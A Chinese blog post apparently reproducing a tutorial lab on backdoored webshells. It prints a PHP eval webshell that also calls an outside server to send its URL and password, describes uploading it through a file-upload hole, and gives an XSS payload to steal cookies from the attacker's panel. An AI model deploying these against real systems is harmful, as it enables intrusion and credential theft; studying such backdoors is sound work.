WebShell中的后门,木马里的木马

学习小迪师傅的教程看到的这块内容,感觉挺有意思的,复现记录一下。哔哩哔哩教程链接:https://www.bilibili.com/video/BV1JZ4y1c7ro?t=2081&p=25

场景1:hacker精心设计,等待上钩

hacker在自己服务器上部署好了webshell箱子网站,然后写了一段天下无敌一切免杀的木马(这里实力不济就用最简单的一句话木马代替了)。

贴上后门代码:

<?php
$pass='c';
@eval($_POST[$pass]);
$u=$_SERVER["HTTP_HOST"].$_SERVER["PHP_SELF"];
echo "<script src='http://192.168.100.132/api.asp?url=$u&pass=$pass'></script>";
?>

可以看到除了基本的webshell功能以外,hacker在里面还添加了一句JavaScript语句,目的是向他的服务器发送当前后门所在链接以及登录密码,接下来坐收渔翁之利。

场景2:小李误用后门shell落入圈套

小李有一天下载到了这个有后门的webshell后门,在没有检查的情况下利用某个网站的文件上传漏洞将此php后门上传到了服务器中,通过蚁剑成功连接,十分开心。

蚁剑登录界面

于此同时hacker的webshell箱子也收到了信息,获得了该网站的后门地址以及登录密码。

后门地址和登录密码

场景3:问题发现以及利用XSS反杀hacker

首先按F12抓包并且访问该后门地址,如图可以看到除了本来要发的webshell.php,还多了一个奇怪的数据包。

F12抓取的数据包
数据包具体内容

可以看到这个奇怪的数据包向另一个服务器发起了get请求,并且附带了后门地址url和登录密码pass两个参数,由此可以察觉到了这个webshell是有后门的,为了演示方便采用的这个后门比较简单(技不如人写不出厉害的带后门webshell,但是这个原理应该就是这样)。

分析完原理开始反杀,burp抓包,更改访问参数为:

<sCRiPt/SrC=//xsshs.cn/taTi>

来使用XSS攻击hacker。(这里直接用XSS平台自动生成的代码来攻击获取Cookie了)

burp改包

理论上:成功获取Cookie,然后登录hacker后台

实际上:XSS怎么被过滤了呢,尖括号和等号都没了,如图URL那里确实是被过滤了,但是密码那里的的确确是插进去了,而且抓包也有访问成功xsshs.cn的包并且成功返回200。

但是xss平台上却没有显示,我感觉应该是那个XSS平台的问题,或者就是这个webshell箱子加了防护措施了,不过整体思路就是这样。